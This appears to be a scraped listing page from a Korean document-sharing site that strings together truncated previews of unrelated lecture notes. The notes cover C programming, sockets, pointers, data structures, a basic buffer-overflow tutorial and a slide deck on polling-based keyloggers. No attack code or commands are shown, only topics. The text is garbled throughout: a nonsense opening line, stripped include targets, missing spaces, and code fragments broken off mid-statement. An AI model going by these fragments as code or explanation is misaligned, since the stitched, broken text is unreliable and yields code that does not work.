SRC PLUS 제어기 MANUAL ,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO

More information

쉽게 풀어쓴 C 프로그래밍

쉽게 풀어쓴 C 프로그래밍 제 5 장생성자와접근제어 1. 객체지향기법을이해한다. 2. 클래스를작성할수있다. 3. 클래스에서객체를생성할수있다. 4. 생성자를이용하여객체를초기화할수 있다. 5. 접근자와설정자를사용할수있다. 이번장에서만들어볼프로그램 생성자 생성자 (constructor) 는초기화를담당하는함수 생성자가필요한이유 #include using namespace

More information

untitled

untitled while do-while for break continue while( ) ; #include 0 i int main(void) int meter; int i = 0; while(i < 3) meter = i * 1609; printf("%d %d \n", i, meter); i++; return 0; i i< 3 () 0 (1)

More information

Microsoft PowerPoint - Lecture_Note_5.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_5.ppt [Compatibility Mode] TCP Server/Client Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 TCP Server Program Procedure TCP Server socket() bind() 소켓생성 소켓번호와소켓주소의결합 listen() accept() read() 서비스처리, write()

More information

untitled

untitled 시스템소프트웨어 : 운영체제, 컴파일러, 어셈블러, 링커, 로더, 프로그래밍도구등 소프트웨어 응용소프트웨어 : 워드프로세서, 스프레드쉬트, 그래픽프로그램, 미디어재생기등 1 n ( x + x +... + ) 1 2 x n 00001111 10111111 01000101 11111000 00001111 10111111 01001101 11111000

More information

Microsoft PowerPoint - chap06-5 [호환 모드]

Microsoft PowerPoint - chap06-5 [호환 모드] 2011-1 학기프로그래밍입문 (1) chapter 06-5 참고자료 변수의영역과데이터의전달 박종혁 Tel: 970-6702 Email: jhpark1@seoultech.ac.kr h k 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- ehanbit.net 자동변수 지금까지하나의함수안에서선언한변수는자동변수이다. 사용범위는하나의함수내부이다. 생존기간은함수가호출되어실행되는동안이다.

More information

int main(void) int a; int b; a=3; b=a+5; printf("a : %d \n", a); printf("b : %d \n", b); a b 3 a a+5 b &a(12ff60) &b(12ff54) 3 a 8 b printf(" a : %x \

int main(void) int a; int b; a=3; b=a+5; printf(a : %d \n, a); printf(b : %d \n, b); a b 3 a a+5 b &a(12ff60) &b(12ff54) 3 a 8 b printf( a : %x \ ? 1 int main(void) int a; int b; a=3; b=a+5; printf("a : %d \n", a); printf("b : %d \n", b); a b 3 a a+5 b &a(12ff60) &b(12ff54) 3 a 8 b printf(" a : %x \n", &a); printf(" b : %x \n", &b); * : 12ff60,

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

The Pocket Guide to TCP/IP Sockets: C Version

The Pocket Guide to  TCP/IP Sockets: C Version 얇지만얇지않은 TCP/IP 소켓프로그래밍 C 2 판 4 장 UDP 소켓 제 4 장 UDP 소켓 4.1 UDP 클라이언트 4.2 UDP 서버 4.3 UDP 소켓을이용한데이터송싞및수싞 4.4 UDP 소켓의연결 UDP 소켓의특징 UDP 소켓의특성 싞뢰할수없는데이터젂송방식 목적지에정확하게젂송된다는보장이없음. 별도의처리필요 비연결지향적, 순서바뀌는것이가능 흐름제어 (flow

More information

untitled

untitled int i = 10; char c = 69; float f = 12.3; int i = 10; char c = 69; float f = 12.3; printf("i : %u\n", &i); // i printf("c : %u\n", &c); // c printf("f : %u\n", &f); // f return 0; i : 1245024 c : 1245015

More information

UI TASK & KEY EVENT

UI TASK & KEY EVENT KEY EVENT & STATE 구현 2007. 1. 25 PLATFORM TEAM 정용학 차례 Key Event HS TASK UI TASK LONG KEY STATE 구현 소스코드및실행화면 질의응답및토의 2 KEY EVENT - HS TASK hs_task keypad_scan_keypad hs_init keypad_pass_key_code keypad_init

More information

Microsoft PowerPoint - chap05-제어문.pptx

Microsoft PowerPoint - chap05-제어문.pptx int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); 1 학습목표 제어문인,, 분기문에 대해 알아본다. 인 if와 switch의 사용 방법과 사용시 주의사항에 대해 알아본다.

More information

SIGPLwinterschool2012

SIGPLwinterschool2012 1994 1992 2001 2008 2002 Semantics Engineering with PLT Redex Matthias Felleisen, Robert Bruce Findler and Matthew Flatt 2009 Text David A. Schmidt EXPRESSION E ::= N ( E1 O E2 ) OPERATOR O ::=

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

중간고사

중간고사 중간고사 예제 1 사용자로부터받은두개의숫자 x, y 중에서큰수를찾는알고리즘을의사코드로작성하시오. Step 1: Input x, y Step 2: if (x > y) then MAX

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 파이썬을이용한빅데이터수집. 분석과시각화 Part 2. 데이터시각화 이원하 목 차 1 2 3 4 WordCloud 자연어처리 Matplotlib 그래프 Folium 지도시각화 Seabean - Heatmap 03 07 16 21 1 WORDCLOUD - 자연어처리 KoNLPy 형태소기반자연어처리 http://www.oracle.com/technetwork/java/javase/downloads/index.html

More information

slide2

slide2 Program P ::= CL CommandList CL ::= C C ; CL Command C ::= L = E while E : CL end print L Expression E ::= N ( E + E ) L &L LefthandSide L ::= I *L Variable I ::= Numeral N ::=

More information

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100 2015-1 프로그래밍언어 9. 연결형리스트, Stack, Queue 2015 년 5 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) 연결리스트 (Linked List) 연결리스트연산 Stack

More information

03장.스택.key

03장.스택.key ---------------- DATA STRUCTURES USING C ---------------- 03CHAPTER 1 ? (stack): (LIFO:Last-In First-Out) 2 : top : ( index -1 ),,, 3 : ( ) ( ) -> ->. ->.... 4 Stack ADT : (LIFO) : init():. is_empty():

More information

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용

More information

2015 개정교육과정에따른정보과평가기준개발연구 연구책임자 공동연구자 연구협력관

2015 개정교육과정에따른정보과평가기준개발연구 연구책임자 공동연구자 연구협력관 2015 개정교육과정에따른정보과평가기준개발연구 연구책임자 공동연구자 연구협력관 2015 개정교육과정에따른정보과평가기준개발연구 연구협력진 머리말 연구요약 차례 Ⅰ 서론 1 Ⅱ 평가준거성취기준, 평가기준, 성취수준, 예시평가도구개발방향 7 Ⅲ 정보과평가준거성취기준, 평가기준, 성취수준, 예시평가도구의개발 25 Ⅳ 정보과평가준거성취기준, 평가기준, 성취수준, 예시평가도구의활용방안

More information

Microsoft PowerPoint - polling.pptx

Microsoft PowerPoint - polling.pptx 지현석 (binish@home.cnu.ac.kr) http://binish.or.kr Index 이슈화된키보드해킹 최근키보드해킹이슈의배경지식 Interrupt VS polling What is polling? Polling pseudo code Polling 을이용한키로거분석 방어기법연구 이슈화된키보드해킹 키보드해킹은연일상한가! 주식, 펀드투자의시기?! 최근키보드해킹이슈의배경지식

More information

Microsoft PowerPoint - Java7.pptx

Microsoft PowerPoint - Java7.pptx HPC & OT Lab. 1 HPC & OT Lab. 2 실습 7 주차 Jin-Ho, Jang M.S. Hanyang Univ. HPC&OT Lab. jinhoyo@nate.com HPC & OT Lab. 3 Component Structure 객체 (object) 생성개념을이해한다. 외부클래스에대한접근방법을이해한다. 접근제어자 (public & private)

More information

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode] Unix Process Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 유닉스기반다중서버구현방법 클라이언트들이동시에접속할수있는서버 서비스를동시에처리할수있는서버프로세스생성을통한멀티태스킹 (Multitasking) 서버의구현 select 함수에의한멀티플렉싱 (Multiplexing)

More information

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조 - Part2- 제 2 장다차원배열이란무엇인가 학습목차 2.1 다차원배열이란 2. 2 2 차원배열의주소와값의참조 2.1 다차원배열이란 2.1 다차원배열이란 (1/14) 다차원배열 : 2 차원이상의배열을의미 1 차원배열과다차원배열의비교 1 차원배열 int array [12] 행 2 차원배열 int array [4][3] 행 열 3 차원배열 int array [2][2][3]

More information

3ÆÄÆ®-11

3ÆÄÆ®-11 Chapter 11 Chapter 12 Chapter 13 Chapter 14 Chapter 15 Chapter 16 Chapter 17 C # N e t w o r k P r o g r a m m i n g Part 3 _ chapter 11 ICMP >>> 430 Chapter 11 _ 1 431 Part 3 _ 432 Chapter 11 _ N o t

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소

More information

var answer = confirm(" 확인이나취소를누르세요."); // 확인창은사용자의의사를묻는데사용합니다. if(answer == true){ document.write(" 확인을눌렀습니다."); else { document.write(" 취소를눌렀습니다.");

var answer = confirm( 확인이나취소를누르세요.); // 확인창은사용자의의사를묻는데사용합니다. if(answer == true){ document.write( 확인을눌렀습니다.); else { document.write( 취소를눌렀습니다.); 자바스크립트 (JavaScript) - HTML 은사용자에게인터페이스 (interface) 를제공하는언어 - 자바스크립트는서버로데이터를전송하지않고서할수있는데이터처리를수행한다. - 자바스크립트는 HTML 나 JSP 에서작성할수있고 ( 내부스크립트 ), 별도의파일로도작성이가능하다 ( 외 부스크립트 ). - 내부스크립트 - 외부스크립트

More information

Microsoft PowerPoint 세션.ppt

Microsoft PowerPoint 세션.ppt 웹프로그래밍 () 2006 년봄학기 문양세강원대학교컴퓨터과학과 세션변수 (Session Variable) (1/2) 쇼핑몰장바구니 장바구니에서는사용자가페이지를이동하더라도장바구니의구매물품리스트의내용을유지하고있어야함 PHP 에서사용하는일반적인변수는스크립트의수행이끝나면모두없어지기때문에페이지이동시변수의값을유지할수없음 이러한문제점을해결하기위해서 PHP 에서는세션 (session)

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐

More information

10 강. 쉘스크립트 l 쉘스크립트 Ÿ 쉘은명령어들을연속적으로실행하는인터프리터환경을제공 Ÿ 쉘스크립트는제어문과변수선언등이가능하며프로그래밍언어와유사 Ÿ 프로그래밍언어와스크립트언어 -프로그래밍언어를사용하는경우소스코드를컴파일하여실행가능한파일로만들어야함 -일반적으로실행파일은다

10 강. 쉘스크립트 l 쉘스크립트 Ÿ 쉘은명령어들을연속적으로실행하는인터프리터환경을제공 Ÿ 쉘스크립트는제어문과변수선언등이가능하며프로그래밍언어와유사 Ÿ 프로그래밍언어와스크립트언어 -프로그래밍언어를사용하는경우소스코드를컴파일하여실행가능한파일로만들어야함 -일반적으로실행파일은다 10 강. 쉘스크립트 쉘스크립트 쉘은명령어들을연속적으로실행하는인터프리터환경을제공 쉘스크립트는제어문과변수선언등이가능하며프로그래밍언어와유사 프로그래밍언어와스크립트언어 -프로그래밍언어를사용하는경우소스코드를컴파일하여실행가능한파일로만들어야함 -일반적으로실행파일은다른운영체제로이식되지않음 -스크립트언어를사용하면컴파일과정이없고인터프리터가소스파일에서명령문을판독하여각각의명령을수행

More information

vi 사용법

vi 사용법 유닉스프로그래밍및실습 gdb 사용법 fprintf 이용 단순디버깅 확인하고자하는코드부분에 fprintf(stderr, ) 를이용하여그지점까지도달했는지여부와관심있는변수의값을확인 여러유형의단순한문제를확인할수있음 그러나자세히살펴보기위해서는디버깅툴필요 int main(void) { int count; long large_no; double real_no; init_vars();

More information

0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x = (12 + 6) / 2 * 3; x = 27 x = 3 * (8 / 4

0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x = (12 + 6) / 2 * 3; x = 27 x = 3 * (8 / 4 Introduction to software design 2012-1 Final 2012.06.13 16:00-18:00 Student ID: Name: - 1 - 0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x

More information

쉽게 풀어쓴 C 프로그래밍

쉽게 풀어쓴 C 프로그래밍 제 3 장함수와문자열 1. 함수의기본적인개념을이해한다. 2. 인수와매개변수의개념을이해한다. 3. 함수의인수전달방법 2가지를이해한다 4. 중복함수를이해한다. 5. 디폴트매개변수를이해한다. 6. 문자열의구성을이해한다. 7. string 클래스의사용법을익힌다. 이번장에서만들어볼프로그램 함수란? 함수선언 함수호출 예제 #include using

More information

이슈분석 2000 Vol.1

이슈분석 2000 Vol.1 i ii iii iv 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

More information

가볍게읽는-내지-1-2

가볍게읽는-내지-1-2 I 01. 10 11 12 02. 13 14 15 03. 16 17 18 04. 19 20 21 05. 22 23 24 06. 25 26 27 07. 28 29 08. 30 31 09. 32 33 10. 34 35 36 11. 37 12. 38 13. 39 14. 40 15. 41 16. 42 43 17. 44 45 18. 46 19. 47 48 20. 49

More information

한눈에-아세안 내지-1

한눈에-아세안 내지-1 I 12 I 13 14 I 15 16 I 17 18 II 20 II 21 22 II 23 24 II 25 26 II 27 28 II 29 30 II 31 32 II 33 34 II 35 36 III 38 III 39 40 III 41 42 III 43 44 III 45 46 III 47 48 III 49 50 IV 52 IV 53 54 IV 55 56 IV

More information

kbs_thesis.hwp

kbs_thesis.hwp - I - - II - - III - - IV - - 1 - - 2 - - 3 - - 4 - - 5 - - 6 - - 7 - - 8 - - 9 - - 10 - - 11 - - 12 - - 13 - - 14 - - 15 - - 16 - - 17 - - 18 - - 19 - - 20 - - 21 - - 22 - - 23 - - 24 - - 25 - - 26 -

More information

3장 함수

3장 함수 3 장함수 박창이 서울시립대학교통계학과 박창이 ( 서울시립대학교통계학과 ) 3 장함수 1 / 20 학습내용 함수호출타입변환함수수학함수사용자정의함수파라미터와인자변수와파라미터의범위함수의구분함수를사용하는이유 from을이용한가져오기디버깅변수의범위재귀함수 박창이 ( 서울시립대학교통계학과 ) 3 장함수 2 / 20 함수호출 함수는어떤연산을수행하는일련의명령문들로함수이름으로호출

More information

C 프로그래밊 개요

C 프로그래밊 개요 구조체 2009 년 5 월 19 일 김경중 강의계획수정 일자계획 Quiz 실습보강 5 월 19 일 ( 화 ) 구조체 Quiz ( 함수 ) 5 월 21 일 ( 목 ) 구조체저녁 6 시 5 월 26 일 ( 화 ) 포인터 5 월 28 일 ( 목 ) 특강 (12:00-1:30) 6 월 2 일 ( 화 ) 포인터 Quiz ( 구조체 ) 저녁 6 시 6 월 4 일 ( 목

More information

17장 클래스와 메소드

17장 클래스와 메소드 17 장클래스와메소드 박창이 서울시립대학교통계학과 박창이 ( 서울시립대학교통계학과 ) 17 장클래스와메소드 1 / 18 학습내용 객체지향특징들객체출력 init 메소드 str 메소드연산자재정의타입기반의버전다형성 (polymorphism) 박창이 ( 서울시립대학교통계학과 ) 17 장클래스와메소드 2 / 18 객체지향특징들 객체지향프로그래밍의특징 프로그램은객체와함수정의로구성되며대부분의계산은객체에대한연산으로표현됨객체의정의는

More information

Week5

Week5 Week 05 Iterators, More Methods and Classes Hash, Regex, File I/O Joonhwan Lee human-computer interaction + design lab. Iterators Writing Methods Classes & Objects Hash File I/O Quiz 4 1. Iterators Array

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 12 표준입출력과파일입출력... 1. 표준입출력함수 2. 파일입출력함수 1. 표준입출력함수 표준입출력함수 표준입력 (stdin, Standard Input) : 키보드입력 표준출력 (stdout, StandardOutput) : 모니터출력 1. 표준입출력함수 서식화된입출력함수 printf(), scanf() 서식의위치에올수있는것들 [ 기본 11-1]

More information

106 107, ( ),, ( ), 3, int kor[5]; int eng[5]; int Microsoft Windows 4 (ANSI C2 ) int kor[5] 20 # define #define SIZE 20 int a[10]; char c[10]; float

106 107, ( ),, ( ), 3, int kor[5]; int eng[5]; int Microsoft Windows 4 (ANSI C2 ) int kor[5] 20 # define #define SIZE 20 int a[10]; char c[10]; float Part 2 31 32 33 106 107, ( ),, ( ), 3, int kor[5]; int eng[5]; int Microsoft Windows 4 (ANSI C2 ) int kor[5] 20 # define #define SIZE 20 int a[10]; char c[10]; float f[size]; /* 10 /* c 10 /* f 20 3 1

More information

<4D F736F F F696E74202D E20B3D7C6AEBFF6C5A920C7C1B7CEB1D7B7A1B9D62E >

<4D F736F F F696E74202D E20B3D7C6AEBFF6C5A920C7C1B7CEB1D7B7A1B9D62E > 웹프로그래밍및실습 ( g & Practice) 문양세강원대학교 IT 대학컴퓨터과학전공 소켓 (Socket) (1/2) Socket 이란? 서버와클라이언트가서로특정한규약을사용하여데이터를전송하기위한방식 서버와클라이언트는소켓연결을기다렸다가소켓이연결되면서로데이터를전송 현재네트워크상에서의모든통신의근간은 Socket 이라할수있음 Page 2 1 소켓 (Socket) (2/2)

More information

Microsoft PowerPoint - chap12-고급기능.pptx

Microsoft PowerPoint - chap12-고급기능.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 가 제공하는 매크로 상수와 매크로

More information

API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum

API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 2012.11.23 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Document Distribution Copy Number Name(Role, Title) Date

More information

untitled

untitled Step Motor Device Driver Embedded System Lab. II Step Motor Step Motor Step Motor source Embedded System Lab. II 2 open loop, : : Pulse, 1 Pulse,, -, 1 +5%, step Step Motor (2),, Embedded System Lab. II

More information

목차 배열의개요 배열사용하기 다차원배열 배열을이용한문자열다루기 실무응용예제 C 2

목차 배열의개요 배열사용하기 다차원배열 배열을이용한문자열다루기 실무응용예제 C 2 제 7 장. 배열 목차 배열의개요 배열사용하기 다차원배열 배열을이용한문자열다루기 실무응용예제 C 2 배열의개요 배열 (array) 의정의 같은데이터형을가지는여러개의변수를하나의배열명으로공유 기억공간을순차적으로할당받아사용하는것 [ 7.1] C 3 배열의개요 배열 (array) 의필요성 같은데이터형의여러개의변수간결하게선언 기억공간을순차적으로변수의값들을저장, 관리

More information

(Microsoft Word - \301\337\260\243\260\355\273\347.docx)

(Microsoft Word - \301\337\260\243\260\355\273\347.docx) 내장형시스템공학 (NH466) 중간고사 학번 : 이름 : 문제 배점 점수 1 20 2 20 3 20 4 20 5 10 6 10 7 15 8 20 9 15 합계 150 1. (20 점 ) 다음용어에대해서설명하시오. (1) 정보은닉 (Information Hiding) (2) 캡슐화 (Encapsulation) (3) 오버로딩 (Overloading) (4) 생성자

More information

슬라이드 1

슬라이드 1 마이크로컨트롤러 2 (MicroController2) 2 강 ATmega128 의 external interrupt 이귀형교수님 학습목표 interrupt 란무엇인가? 기본개념을알아본다. interrupt 중에서가장사용하기쉬운 external interrupt 의사용방법을학습한다. 1. Interrupt 는왜필요할까? 함수동작을추가하여실행시키려면? //***

More information

Microsoft PowerPoint - Chapter_08.pptx

Microsoft PowerPoint - Chapter_08.pptx 프로그래밍 1 1 Chapter 8. Pointers May, 2016 Dept. of software Dankook University http://embedded.dankook.ac.kr/~baeksj 포인터의개념 (1/6) 2 포인터란 : 다른객체를가리키는변수 객체의메모리주소를저장하는변수 기호적방식 (symbolic way) 으로주소사용 포인터와관련된연산자

More information

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C4C656D70656C2D5A69762E637070>

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C4C656D70656C2D5A69762E637070> /* */ /* LZWIN.C : Lempel-Ziv compression using Sliding Window */ /* */ #include "stdafx.h" #include "Lempel-Ziv.h" 1 /* 큐를초기화 */ void LZ::init_queue(void) front = rear = 0; /* 큐가꽉찼으면 1 을되돌림 */ int LZ::queue_full(void)

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

ABC 11장

ABC 11장 12 장고급응용 0 수행중인프로그램 프로세스 모든프로세스는유일한프로세스식별번호 (PID) 를가짐 유닉스에서는 ps 명령을사용하여프로세스목록을볼수있음 12-1 프로세스 $ ps -aux USER PID %CPU %MEM SZ RSS TT STAT START TIME COMMAND blufox 17725 34.0 1.6 146 105 i2 R 15:13 0:00

More information

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Microsoft PowerPoint - chap13-입출력라이브러리.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 스트림의 기본 개념을 알아보고,

More information

Microsoft PowerPoint - Chapter_09.pptx

Microsoft PowerPoint - Chapter_09.pptx 프로그래밍 1 1 Chapter 9. Structures May, 2016 Dept. of software Dankook University http://embedded.dankook.ac.kr/~baeksj 구조체의개념 (1/4) 2 (0,0) 구조체 : 다양한종류의데이터로구성된사용자정의데이터타입 복잡한자료를다루는것을편하게해줌 예 #1: 정수로이루어진 x,

More information